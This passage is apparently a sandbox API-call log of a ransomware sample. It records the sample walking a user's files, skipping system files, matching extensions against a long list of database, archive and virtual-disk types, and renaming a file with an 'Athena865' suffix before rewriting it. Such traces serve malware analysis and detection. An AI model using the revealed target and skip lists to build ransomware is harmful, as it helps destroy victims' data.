| out: hHeap=0x4f0000) returned 1 [0050.456] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x5282a0 [0050.456] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0050.456] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5282a0 | out: hHeap=0x4f0000) returned 1 [0050.456] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0050.456] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50b7a8 [0050.456] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0050.456] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50b7a8 | out: hHeap=0x4f0000) returned 1 [0050.456] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0050.456] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0050.456] CloseHandle (hObject=0x17c) returned 1 [0050.456] CloseHandle (hObject=0x154) returned 1 [0050.457] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0050.457] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518920 | out: hHeap=0x4f0000) returned 1 [0050.457] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0050.457] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x16847890, ftCreationTime.dwHighDateTime=0x1d4ce21, ftLastAccessTime.dwLowDateTime=0xf02ef1d0, ftLastAccessTime.dwHighDateTime=0x1d4c834, ftLastWriteTime.dwLowDateTime=0xf02ef1d0, ftLastWriteTime.dwHighDateTime=0x1d4c834, nFileSizeHigh=0x0, nFileSizeLow=0x6c81, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DWJxc1GQYE8T.gif", cAlternateFileName="DWJXC1~1.GIF")) returned 1 [0050.457] lstrcmpiW (lpString1="DWJxc1GQYE8T.gif", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0050.458] lstrcmpiW (lpString1="DWJxc1GQYE8T.gif", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0050.458] lstrcmpiW (lpString1="DWJxc1GQYE8T.gif", lpString2=".") returned 1 [0050.458] lstrcmpiW (lpString1="DWJxc1GQYE8T.gif", lpString2="..") returned 1 [0050.458] lstrcmpiW (lpString1="DWJxc1GQYE8T.gif", lpString2="windows") returned -1 [0050.458] lstrcmpiW (lpString1="DWJxc1GQYE8T.gif", lpString2="bootmgr") returned 1 [0050.458] lstrcmpiW (lpString1="DWJxc1GQYE8T.gif", lpString2="temp") returned -1 [0050.458] lstrcmpiW (lpString1="DWJxc1GQYE8T.gif", lpString2="pagefile.sys") returned -1 [0050.458] lstrcmpiW (lpString1="DWJxc1GQYE8T.gif", lpString2="boot") returned 1 [0050.458] lstrcmpiW (lpString1="DWJxc1GQYE8T.gif", lpString2="ids.txt") returned -1 [0050.458] lstrcmpiW (lpString1="DWJxc1GQYE8T.gif", lpString2="ntuser.dat") returned -1 [0050.458] lstrcmpiW (lpString1="DWJxc1GQYE8T.gif", lpString2="perflogs") returned -1 [0050.458] lstrcmpiW (lpString1="DWJxc1GQYE8T.gif", lpString2="MSBuild") returned -1 [0050.458] lstrlenW (lpString="DWJxc1GQYE8T.gif") returned 16 [0050.458] lstrcpyW (in: lpString1=0x241e8b6, lpString2="DWJxc1GQYE8T.gif" | out: lpString1="DWJxc1GQYE8T.gif") returned="DWJxc1GQYE8T.gif" [0050.458] lstrlenW (lpString="DWJxc1GQYE8T.gif") returned 16 [0050.458] lstrlenW (lpString="Athena865") returned 9 [0050.458] lstrcmpiW (lpString1="QYE8T.gif", lpString2="Athena865") returned 1 [0050.458] lstrlenW (lpString=".dll") returned 4 [0050.458] lstrcmpiW (lpString1="DWJxc1GQYE8T.gif", lpString2=".dll") returned 1 [0050.458] lstrlenW (lpString=".lnk") returned 4 [0050.458] lstrcmpiW (lpString1="DWJxc1GQYE8T.gif", lpString2=".lnk") returned 1 [0050.458] lstrlenW (lpString=".ini") returned 4 [0050.458] lstrcmpiW (lpString1="DWJxc1GQYE8T.gif", lpString2=".ini") returned 1 [0050.458] lstrlenW (lpString=".sys") returned 4 [0050.458] lstrcmpiW (lpString1="DWJxc1GQYE8T.gif", lpString2=".sys") returned 1 [0050.458] lstrlenW (lpString="DWJxc1GQYE8T.gif") returned 16 [0050.458] lstrlenW (lpString="bak") returned 3 [0050.458] lstrcmpiW (lpString1="gif", lpString2="bak") returned 1 [0050.458] lstrlenW (lpString="ba_") returned 3 [0050.458] lstrcmpiW (lpString1="gif", lpString2="ba_") returned 1 [0050.458] lstrlenW (lpString="dbb") returned 3 [0050.458] lstrcmpiW (lpString1="gif", lpString2="dbb") returned 1 [0050.459] lstrlenW (lpString="vmdk") returned 4 [0050.459] lstrcmpiW (lpString1=".gif", lpString2="vmdk") returned -1 [0050.459] lstrlenW (lpString="rar") returned 3 [0050.459] lstrcmpiW (lpString1="gif", lpString2="rar") returned -1 [0050.459] lstrlenW (lpString="zip") returned 3 [0050.459] lstrcmpiW (lpString1="gif", lpString2="zip") returned -1 [0050.459] lstrlenW (lpString="tgz") returned 3 [0050.459] lstrcmpiW (lpString1="gif", lpString2="tgz") returned -1 [0050.459] lstrlenW (lpString="vbox") returned 4 [0050.459] lstrcmpiW (lpString1=".gif", lpString2="vbox") returned -1 [0050.459] lstrlenW (lpString="vdi") returned 3 [0050.459] lstrcmpiW (lpString1="gif", lpString2="vdi") returned -1 [0050.459] lstrlenW (lpString="vhd") returned 3 [0050.459] lstrcmpiW (lpString1="gif", lpString2="vhd") returned -1 [0050.459] lstrlenW (lpString="vhdx") returned 4 [0050.459] lstrcmpiW (lpString1=".gif", lpString2="vhdx") returned -1 [0050.459] lstrlenW (lpString="avhd") returned 4 [0050.459] lstrcmpiW (lpString1=".gif", lpString2="avhd") returned -1 [0050.459] lstrlenW (lpString="db") returned 2 [0050.459] lstrcmpiW (lpString1="if", lpString2="db") returned 1 [0050.459] lstrlenW (lpString="db2") returned 3 [0050.459] lstrcmpiW (lpString1="gif", lpString2="db2") returned 1 [0050.459] lstrlenW (lpString="db3") returned 3 [0050.459] lstrcmpiW (lpString1="gif", lpString2="db3") returned 1 [0050.459] lstrlenW (lpString="dbf") returned 3 [0050.459] lstrcmpiW (lpString1="gif", lpString2="dbf") returned 1 [0050.459] lstrlenW (lpString="mdf") returned 3 [0050.459] lstrcmpiW (lpString1="gif", lpString2="mdf") returned -1 [0050.459] lstrlenW (lpString="mdb") returned 3 [0050.459] lstrcmpiW (lpString1="gif", lpString2="mdb") returned -1 [0050.459] lstrlenW (lpString="sql") returned 3 [0050.459] lstrcmpiW (lpString1="gif", lpString2="sql") returned -1 [0050.459] lstrlenW (lpString="sqlite") returned 6 [0050.460] lstrcmpiW (lpString1="8T.gif", lpString2="sqlite") returned -1 [0050.460] lstrlenW (lpString="sqlite3") returned 7 [0050.460] lstrcmpiW (lpString1="E8T.gif", lpString2="sqlite3") returned -1 [0050.460] lstrlenW (lpString="sqlitedb") returned 8 [0050.460] lstrcmpiW (lpString1="YE8T.gif", lpString2="sqlitedb") returned 1 [0050.460] lstrlenW (lpString="xml") returned 3 [0050.460] lstrcmpiW (lpString1="gif", lpString2="xml") returned -1 [0050.460] lstrlenW (lpString="$er") returned 3 [0050.460] lstrcmpiW (lpString1="gif", lpString2="$er") returned 1 [0050.460] lstrlenW (lpString="4dd") returned 3 [0050.460] lstrcmpiW (lpString1="gif", lpString2="4dd") returned 1 [0050.460] lstrlenW (lpString="4dl") returned 3 [0050.460] lstrcmpiW (lpString1="gif", lpString2="4dl") returned 1 [0050.460] lstrlenW (lpString="^^^") returned 3 [0050.460] lstrcmpiW (lpString1="gif", lpString2="^^^") returned 1 [0050.460] lstrlenW (lpString="abs") returned 3 [0050.460] lstrcmpiW (lpString1="gif", lpString2="abs") returned 1 [0050.460] lstrlenW (lpString="abx") returned 3 [0050.460] lstrcmpiW (lpString1="gif", lpString2="abx") returned 1 [0050.460] lstrlenW (lpString="accdb") returned 5 [0050.460] lstrcmpiW (lpString1="T.gif", lpString2="accdb") returned 1 [0050.460] lstrlenW (lpString="accdc") returned 5 [0050.460] lstrcmpiW (lpString1="T.gif", lpString2="accdc") returned 1 [0050.460] lstrlenW (lpString="accde") returned 5 [0050.460] lstrcmpiW (lpString1="T.gif", lpString2="accde") returned 1 [0050.460] lstrlenW (lpString="accdr") returned 5 [0050.460] lstrcmpiW (lpString1="T.gif", lpString2="accdr") returned 1 [0050.460] lstrlenW (lpString="accdt") returned 5 [0050.460] lstrcmpiW (lpString1="T.gif", lpString2="accdt") returned 1 [0050.460] lstrlenW (lpString="accdw") returned 5 [0050.460] lstrcmpiW (lpString1="T.gif", lpString2="accdw") returned 1 [0050.460] lstrlenW (lpString="accft") returned 5 [0050.460] lstrcmpiW (lpString1="T.gif", lpString2="accft") returned 1 [0050.460] lstrlenW (lpString="adb") returned 3 [0050.461] lstrcmpiW (lpString1="gif", lpString2="adb") returned 1 [0050.461] lstrlenW (lpString="adb") returned 3 [0050.461] lstrcmpiW (lpString1="gif", lpString2="adb") returned 1 [0050.461] lstrlenW (lpString="ade") returned 3 [0050.461] lstrcmpiW (lpString1="gif", lpString2="ade") returned 1 [0050.461] lstrlenW (lpString="adf") returned 3 [0050.461] lstrcmpiW (lpString1="gif", lpString2="adf") returned 1 [0050.461] lstrlenW (lpString="adn") returned 3 [0050.461] lstrcmpiW (lpString1="gif", lpString2="adn") returned 1 [0050.461] lstrlenW (lpString="adp") returned 3 [0050.461] lstrcmpiW (lpString1="gif", lpString2="adp") returned 1 [0050.461] lstrlenW (lpString="alf") returned 3 [0050.461] lstrcmpiW (lpString1="gif", lpString2="alf") returned 1 [0050.461] lstrlenW (lpString="ask") returned 3 [0050.461] lstrcmpiW (lpString1="gif", lpString2="ask") returned 1 [0050.461] lstrlenW (lpString="btr") returned 3 [0050.461] lstrcmpiW (lpString1="gif", lpString2="btr") returned 1 [0050.461] lstrlenW (lpString="cat") returned 3 [0050.461] lstrcmpiW (lpString1="gif", lpString2="cat") returned 1 [0050.461] lstrlenW (lpString="cdb") returned 3 [0050.461] lstrcmpiW (lpString1="gif", lpString2="cdb") returned 1 [0050.461] lstrlenW (lpString="ckp") returned 3 [0050.461] lstrcmpiW (lpString1="gif", lpString2="ckp") returned 1 [0050.461] lstrlenW (lpString="cma") returned 3 [0050.461] lstrcmpiW (lpString1="gif", lpString2="cma") returned 1 [0050.461] lstrlenW (lpString="cpd") returned 3 [0050.461] lstrcmpiW (lpString1="gif", lpString2="cpd") returned 1 [0050.461] lstrlenW (lpString="dacpac") returned 6 [0050.461] lstrcmpiW (lpString1="8T.gif", lpString2="dacpac") returned -1 [0050.461] lstrlenW (lpString="dad") returned 3 [0050.461] lstrcmpiW (lpString1="gif", lpString2="dad") returned 1 [0050.461] lstrlenW (lpString="dadiagrams") returned 10 [0050.461] lstrcmpiW (lpString1="GQYE8T.gif", lpString2="dadiagrams") returned 1 [0050.462] lstrlenW (lpString="daschema") returned 8 [0050.462] lstrcmpiW (lpString1="YE8T.gif", lpString2="daschema") returned 1 [0050.462] lstrlenW (lpString="db-journal") returned 10 [0050.462] lstrcmpiW (lpString1="GQYE8T.gif", lpString2="db-journal") returned 1 [0050.462] lstrlenW (lpString="db-shm") returned 6 [0050.462] lstrcmpiW (lpString1="8T.gif", lpString2="db-shm") returned -1 [0050.462] lstrlenW (lpString="db-wal") returned 6 [0050.462] lstrcmpiW (lpString1="8T.gif", lpString2="db-wal") returned -1 [0050.462] lstrlenW (lpString="dbc") returned 3 [0050.462] lstrcmpiW (lpString1="gif", lpString2="dbc") returned 1 [0050.462] lstrlenW (lpString="dbs") returned 3 [0050.462] lstrcmpiW (lpString1="gif", lpString2="dbs") returned 1 [0050.462] lstrlenW (lpString="dbt") returned 3 [0050.462] lstrcmpiW (lpString1="gif", lpString2="dbt") returned 1 [0050.462] lstrlenW (lpString="dbv") returned 3 [0050.462] lstrcmpiW (lpString1="gif", lpString2="dbv") returned 1 [0050.462] lstrlenW (lpString="dbx") returned 3 [0050.462] lstrcmpiW (lpString1="gif", lpString2="dbx") returned 1 [0050.462] lstrlenW (lpString="dcb") returned 3 [0050.462] lstrcmpiW (lpString1="gif", lpString2="dcb") returned 1 [0050.462] lstrlenW (lpString="dct") returned 3 [0050.462] lstrcmpiW (lpString1="gif", lpString2="dct") returned 1 [0050.462] lstrlenW (lpString="dcx") returned 3 [0050.462] lstrcmpiW (lpString1="gif", lpString2="dcx") returned 1 [0050.462] lstrlenW (lpString="ddl") returned 3 [0050.462] lstrcmpiW (lpString1="gif", lpString2="ddl") returned 1 [0050.462] lstrlenW (lpString="dlis") returned 4 [0050.462] lstrcmpiW (lpString1=".gif", lpString2="dlis") returned -1 [0050.462] lstrlenW (lpString="dp1") returned 3 [0050.462] lstrcmpiW (lpString1="gif", lpString2="dp1") returned 1 [0050.462] lstrlenW (lpString="dqy") returned 3 [0050.462] lstrcmpiW (lpString1="gif", lpString2="dqy") returned 1 [0050.462] lstrlenW (lpString="dsk") returned 3 [0050.463] lstrcmpiW (lpString1="gif", lpString2="dsk") returned 1 [0050.463] lstrlenW (lpString="dsn") returned 3 [0050.463] lstrcmpiW (lpString1="gif", lpString2="dsn") returned 1 [0050.463] lstrlenW (lpString="dtsx") returned 4 [0050.463] lstrcmpiW (lpString1=".gif", lpString2="dtsx") returned -1 [0050.463] lstrlenW (lpString="dxl") returned 3 [0050.463] lstrcmpiW (lpString1="gif", lpString2="dxl") returned 1 [0050.463] lstrlenW (lpString="eco") returned 3 [0050.463] lstrcmpiW (lpString1="gif", lpString2="eco") returned 1 [0050.463] lstrlenW (lpString="ecx") returned 3 [0050.463] lstrcmpiW (lpString1="gif", lpString2="ecx") returned 1 [0050.463] lstrlenW (lpString="edb") returned 3 [0050.463] lstrcmpiW (lpString1="gif", lpString2="edb") returned 1 [0050.463] lstrlenW (lpString="epim") returned 4 [0050.463] lstrcmpiW (lpString1=".gif", lpString2="epim") returned -1 [0050.463] lstrlenW (lpString="fcd") returned 3 [0050.463] lstrcmpiW (lpString1="gif", lpString2="fcd") returned 1 [0050.463] lstrlenW (lpString="fdb") returned 3 [0050.463] lstrcmpiW (lpString1="gif", lpString2="fdb") returned 1 [0050.463] lstrlenW (lpString="fic") returned 3 [0050.463] lstrcmpiW (lpString1="gif", lpString2="fic") returned 1 [0050.463] lstrlenW (lpString="flexolibrary") returned 12 [0050.463] lstrcmpiW (lpString1="c1GQYE8T.gif", lpString2="flexolibrary") returned -1 [0050.463] lstrlenW (lpString="fm5") returned 3 [0050.463] lstrcmpiW (lpString1="gif", lpString2="fm5") returned 1 [0050.463] lstrlenW (lpString="fmp") returned 3 [0050.463] lstrcmpiW (lpString1="gif", lpString2="fmp") returned 1 [0050.463] lstrlenW (lpString="fmp12") returned 5 [0050.463] lstrcmpiW (lpString1="T.gif", lpString2="fmp12") returned 1 [0050.463] lstrlenW (lpString="fmpsl") returned 5 [0050.463] lstrcmpiW (lpString1="T.gif", lpString2="fmpsl") returned 1 [0050.463] lstrlenW (lpString="fol") returned 3 [0050.463] lstrcmpiW (lpString1="gif", lpString2="fol") returned 1 [0050.464] lstrlenW (lpString="fp3") returned 3 [0050.464] lstrcmpiW (lpString1="gif", lpString2="fp3") returned 1 [0050.464] lstrlenW (lpString="fp4") returned 3 [0050.464] lstrcmpiW (lpString1="gif", lpString2="fp4") returned 1 [0050.464] lstrlenW (lpString="fp5") returned 3 [0050.464] lstrcmpiW (lpString1="gif", lpString2="fp5") returned 1 [0050.464] lstrlenW (lpString="fp7") returned 3 [0050.464] lstrcmpiW (lpString1="gif", lpString2="fp7") returned 1 [0050.464] lstrlenW (lpString="fpt") returned 3 [0050.464] lstrcmpiW (lpString1="gif", lpString2="fpt") returned 1 [0050.464] lstrlenW (lpString="frm") returned 3 [0050.464] lstrcmpiW (lpString1="gif", lpString2="frm") returned 1 [0050.464] lstrlenW (lpString="gdb") returned 3 [0050.464] lstrcmpiW (lpString1="gif", lpString2="gdb") returned 1 [0050.464] lstrlenW (lpString="gdb") returned 3 [0050.464] lstrcmpiW (lpString1="gif", lpString2="gdb") returned 1 [0050.464] lstrlenW (lpString="grdb") returned 4 [0050.464] lstrcmpiW (lpString1=".gif", lpString2="grdb") returned -1 [0050.464] lstrlenW (lpString="gwi") returned 3 [0050.464] lstrcmpiW (lpString1="gif", lpString2="gwi") returned -1 [0050.464] lstrlenW (lpString="hdb") returned 3 [0050.464] lstrcmpiW (lpString1="gif", lpString2="hdb") returned -1 [0050.464] lstrlenW (lpString="his") returned 3 [0050.464] lstrcmpiW (lpString1="gif", lpString2="his") returned -1 [0050.464] lstrlenW (lpString="ib") returned 2 [0050.464] lstrcmpiW (lpString1="if", lpString2="ib") returned 1 [0050.464] lstrlenW (lpString="idb") returned 3 [0050.464] lstrcmpiW (lpString1="gif", lpString2="idb") returned -1 [0050.464] lstrlenW (lpString="ihx") returned 3 [0050.464] lstrcmpiW (lpString1="gif", lpString2="ihx") returned -1 [0050.464] lstrlenW (lpString="itdb") returned 4 [0050.464] lstrcmpiW (lpString1=".gif", lpString2="itdb") returned -1 [0050.464] lstrlenW (lpString="itw") returned 3 [0050.465] lstrcmpiW (lpString1="gif", lpString2="itw") returned -1 [0050.465] lstrlenW (lpString="jet") returned 3 [0050.465] lstrcmpiW (lpString1="gif", lpString2="jet") returned -1 [0050.465] lstrlenW (lpString="jtx") returned 3 [0050.465] lstrcmpiW (lpString1="gif", lpString2="jtx") returned -1 [0050.465] lstrlenW (lpString="kdb") returned 3 [0050.465] lstrcmpiW (lpString1="gif", lpString2="kdb") returned -1 [0050.465] lstrlenW (lpString="kexi") returned 4 [0050.465] lstrcmpiW (lpString1=".gif", lpString2="kexi") returned -1 [0050.465] lstrlenW (lpString="kexic") returned 5 [0050.465] lstrcmpiW (lpString1="T.gif", lpString2="kexic") returned 1 [0050.465] lstrlenW (lpString="kexis") returned 5 [0050.465] lstrcmpiW (lpString1="T.gif", lpString2="kexis") returned 1 [0050.465] lstrlenW (lpString="lgc") returned 3 [0050.465] lstrcmpiW (lpString1="gif", lpString2="lgc") returned -1 [0050.465] lstrlenW (lpString="lwx") returned 3 [0050.465] lstrcmpiW (lpString1="gif", lpString2="lwx") returned -1 [0050.465] lstrlenW (lpString="maf") returned 3 [0050.465] lstrcmpiW (lpString1="gif", lpString2="maf") returned -1 [0050.465] lstrlenW (lpString="maq") returned 3 [0050.465] lstrcmpiW (lpString1="gif", lpString2="maq") returned -1 [0050.465] lstrlenW (lpString="mar") returned 3 [0050.465] lstrcmpiW (lpString1="gif", lpString2="mar") returned -1 [0050.465] lstrlenW (lpString="marshal") returned 7 [0050.465] lstrcmpiW (lpString1="E8T.gif", lpString2="marshal") returned -1 [0050.465] lstrlenW (lpString="mas") returned 3 [0050.465] lstrcmpiW (lpString1="gif", lpString2="mas") returned -1 [0050.465] lstrlenW (lpString="mav") returned 3 [0050.465] lstrcmpiW (lpString1="gif", lpString2="mav") returned -1 [0050.465] lstrlenW (lpString="maw") returned 3 [0050.465] lstrcmpiW (lpString1="gif", lpString2="maw") returned -1 [0050.465] lstrlenW (lpString="mdbhtml") returned 7 [0050.465] lstrcmpiW (lpString1="E8T.gif", lpString2="mdbhtml") returned -1 [0050.466] lstrlenW (lpString="mdn") returned 3 [0050.466] lstrcmpiW (lpString1="gif", lpString2="mdn") returned -1 [0050.466] lstrlenW (lpString="mdt") returned 3 [0050.466] lstrcmpiW (lpString1="gif", lpString2="mdt") returned -1 [0050.466] lstrlenW (lpString="mfd") returned 3 [0050.466] lstrcmpiW (lpString1="gif", lpString2="mfd") returned -1 [0050.466] lstrlenW (lpString="mpd") returned 3 [0050.466] lstrcmpiW (lpString1="gif", lpString2="mpd") returned -1 [0050.466] lstrlenW (lpString="mrg") returned 3 [0050.466] lstrcmpiW (lpString1="gif", lpString2="mrg") returned -1 [0050.466] lstrlenW (lpString="mud") returned 3 [0050.466] lstrcmpiW (lpString1="gif", lpString2="mud") returned -1 [0050.466] lstrlenW (lpString="mwb") returned 3 [0050.466] lstrcmpiW (lpString1="gif", lpString2="mwb") returned -1 [0050.466] lstrlenW (lpString="myd") returned 3 [0050.466] lstrcmpiW (lpString1="gif", lpString2="myd") returned -1 [0050.466] lstrlenW (lpString="ndf") returned 3 [0050.466] lstrcmpiW (lpString1="gif", lpString2="ndf") returned -1 [0050.466] lstrlenW (lpString="nnt") returned 3 [0050.466] lstrcmpiW (lpString1="gif", lpString2="nnt") returned -1 [0050.466] lstrlenW (lpString="nrmlib") returned 6 [0050.466] lstrcmpiW (lpString1="8T.gif", lpString2="nrmlib") returned -1 [0050.466] lstrlenW (lpString="ns2") returned 3 [0050.466] lstrcmpiW (lpString1="gif", lpString2="ns2") returned -1 [0050.466] lstrlenW (lpString="ns3") returned 3 [0050.466] lstrcmpiW (lpString1="gif", lpString2="ns3") returned -1 [0050.466] lstrlenW (lpString="ns4") returned 3 [0050.466] lstrcmpiW (lpString1="gif", lpString2="ns4") returned -1 [0050.466] lstrlenW (lpString="nsf") returned 3 [0050.466] lstrcmpiW (lpString1="gif", lpString2="nsf") returned -1 [0050.466] lstrlenW (lpString="nv") returned 2 [0050.466] lstrcmpiW (lpString1="if", lpString2="nv") returned -1 [0050.466] lstrlenW (lpString="nv2") returned 3 [0050.467] lstrcmpiW (lpString1="gif", lpString2="nv2") returned -1 [0050.467] lstrlenW (lpString="nwdb") returned 4 [0050.467] lstrcmpiW (lpString1=".gif", lpString2="nwdb") returned -1 [0050.467] lstrlenW (lpString="nyf") returned 3 [0050.467] lstrcmpiW (lpString1="gif", lpString2="nyf") returned -1 [0050.467] lstrlenW (lpString="odb") returned 3 [0050.467] lstrcmpiW (lpString1="gif", lpString2="odb") returned -1 [0050.467] lstrlenW (lpString="odb") returned 3 [0050.467] lstrcmpiW (lpString1="gif", lpString2="odb") returned -1 [0050.467] lstrlenW (lpString="oqy") returned 3 [0050.467] lstrcmpiW (lpString1="gif", lpString2="oqy") returned -1 [0050.467] lstrlenW (lpString="ora") returned 3 [0050.467] lstrcmpiW (lpString1="gif", lpString2="ora") returned -1 [0050.467] lstrlenW (lpString="orx") returned 3 [0050.467] lstrcmpiW (lpString1="gif", lpString2="orx") returned -1 [0050.467] lstrlenW (lpString="owc") returned 3 [0050.467] lstrcmpiW (lpString1="gif", lpString2="owc") returned -1 [0050.467] lstrlenW (lpString="p96") returned 3 [0050.467] lstrcmpiW (lpString1="gif", lpString2="p96") returned -1 [0050.467] lstrlenW (lpString="p97") returned 3 [0050.467] lstrcmpiW (lpString1="gif", lpString2="p97") returned -1 [0050.467] lstrlenW (lpString="pan") returned 3 [0050.467] lstrcmpiW (lpString1="gif", lpString2="pan") returned -1 [0050.467] lstrlenW (lpString="pdb") returned 3 [0050.467] lstrcmpiW (lpString1="gif", lpString2="pdb") returned -1 [0050.467] lstrlenW (lpString="pdm") returned 3 [0050.467] lstrcmpiW (lpString1="gif", lpString2="pdm") returned -1 [0050.467] lstrlenW (lpString="pnz") returned 3 [0050.467] lstrcmpiW (lpString1="gif", lpString2="pnz") returned -1 [0050.467] lstrlenW (lpString="qry") returned 3 [0050.467] lstrcmpiW (lpString1="gif", lpString2="qry") returned -1 [0050.467] lstrlenW (lpString="qvd") returned 3 [0050.467] lstrcmpiW (lpString1="gif", lpString2="qvd") returned -1 [0050.468] lstrlenW (lpString="rbf") returned 3 [0050.468] lstrcmpiW (lpString1="gif", lpString2="rbf") returned -1 [0050.468] lstrlenW (lpString="rctd") returned 4 [0050.468] lstrcmpiW (lpString1=".gif", lpString2="rctd") returned -1 [0050.468] lstrlenW (lpString="rod") returned 3 [0050.468] lstrcmpiW (lpString1="gif", lpString2="rod") returned -1 [0050.468] lstrlenW (lpString="rodx") returned 4 [0050.468] lstrcmpiW (lpString1=".gif", lpString2="rodx") returned -1 [0050.468] lstrlenW (lpString="rpd") returned 3 [0050.468] lstrcmpiW (lpString1="gif", lpString2="rpd") returned -1 [0050.468] lstrlenW (lpString="rsd") returned 3 [0050.468] lstrcmpiW (lpString1="gif", lpString2="rsd") returned -1 [0050.468] lstrlenW (lpString="sas7bdat") returned 8 [0050.468] lstrcmpiW (lpString1="YE8T.gif", lpString2="sas7bdat") returned 1 [0050.468] lstrlenW (lpString="sbf") returned 3 [0050.468] lstrcmpiW (lpString1="gif", lpString2="sbf") returned -1 [0050.468] lstrlenW (lpString="scx") returned 3 [0050.468] lstrcmpiW (lpString1="gif", lpString2="scx") returned -1 [0050.468] lstrlenW (lpString="sdb") returned 3 [0050.468] lstrcmpiW (lpString1="gif", lpString2="sdb") returned -1 [0050.468] lstrlenW (lpString="sdc") returned 3 [0050.468] lstrcmpiW (lpString1="gif", lpString2="sdc") returned -1 [0050.468] lstrlenW (lpString="sdf") returned 3 [0050.468] lstrcmpiW (lpString1="gif", lpString2="sdf") returned -1 [0050.468] lstrlenW (lpString="sis") returned 3 [0050.468] lstrcmpiW (lpString1="gif", lpString2="sis") returned -1 [0050.468] lstrlenW (lpString="spq") returned 3 [0050.468] lstrcmpiW (lpString1="gif", lpString2="spq") returned -1 [0050.468] lstrlenW (lpString="te") returned 2 [0050.469] lstrcmpiW (lpString1="if", lpString2="te") returned -1 [0050.469] lstrlenW (lpString="teacher") returned 7 [0050.469] lstrcmpiW (lpString1="E8T.gif", lpString2="teacher") returned -1 [0050.469] lstrlenW (lpString="tmd") returned 3 [0050.469] lstrcmpiW (lpString1="gif", lpString2="tmd") returned -1 [0050.469] lstrlenW (lpString="tps") returned 3 [0050.469] lstrcmpiW (lpString1="gif", lpString2="tps") returned -1 [0050.469] lstrlenW (lpString="trc") returned 3 [0050.469] lstrcmpiW (lpString1="gif", lpString2="trc") returned -1 [0050.469] lstrlenW (lpString="trc") returned 3 [0050.469] lstrcmpiW (lpString1="gif", lpString2="trc") returned -1 [0050.469] lstrlenW (lpString="trm") returned 3 [0050.469] lstrcmpiW (lpString1="gif", lpString2="trm") returned -1 [0050.469] lstrlenW (lpString="udb") returned 3 [0050.469] lstrcmpiW (lpString1="gif", lpString2="udb") returned -1 [0050.469] lstrlenW (lpString="udl") returned 3 [0050.469] lstrcmpiW (lpString1="gif", lpString2="udl") returned -1 [0050.469] lstrlenW (lpString="usr") returned 3 [0050.469] lstrcmpiW (lpString1="gif", lpString2="usr") returned -1 [0050.469] lstrlenW (lpString="v12") returned 3 [0050.469] lstrcmpiW (lpString1="gif", lpString2="v12") returned -1 [0050.469] lstrlenW (lpString="vis") returned 3 [0050.469] lstrcmpiW (lpString1="gif", lpString2="vis") returned -1 [0050.469] lstrlenW (lpString="vpd") returned 3 [0050.469] lstrcmpiW (lpString1="gif", lpString2="vpd") returned -1 [0050.469] lstrlenW (lpString="vvv") returned 3 [0050.469] lstrcmpiW (lpString1="gif", lpString2="vvv") returned -1 [0050.469] lstrlenW (lpString="wdb") returned 3 [0050.469] lstrcmpiW (lpString1="gif", lpString2="wdb") returned -1 [0050.469] lstrlenW (lpString="wmdb") returned 4 [0050.469] lstrcmpiW (lpString1=".gif", lpString2="wmdb") returned -1 [0050.469] lstrlenW (lpString="wrk") returned 3 [0050.469] lstrcmpiW (lpString1="gif", lpString2="wrk") returned -1 [0050.470] lstrlenW (lpString="xdb") returned 3 [0050.470] lstrcmpiW (lpString1="gif", lpString2="xdb") returned -1 [0050.470] lstrlenW (lpString="xld") returned 3 [0050.470] lstrcmpiW (lpString1="gif", lpString2="xld") returned -1 [0050.470] lstrlenW (lpString="xmlff") returned 5 [0050.470] lstrcmpiW (lpString1="T.gif", lpString2="xmlff") returned -1 [0050.470] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Desktop\\DWJxc1GQYE8T.gif.Athena865") returned 81 [0050.470] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Desktop\\DWJxc1GQYE8T.gif" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\desktop\\dwjxc1gqye8t.gif"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Desktop\\DWJxc1GQYE8T.gif.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\desktop\\dwjxc1gqye8t.gif.athena865"), dwFlags=0x1) returned 1 [0050.470] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Desktop\\DWJxc1GQYE8T.gif.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\desktop\\dwjxc1gqye8t.gif.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0050.471] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=27777) returned 1 [0050.471] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0050.471] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0050.471] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, 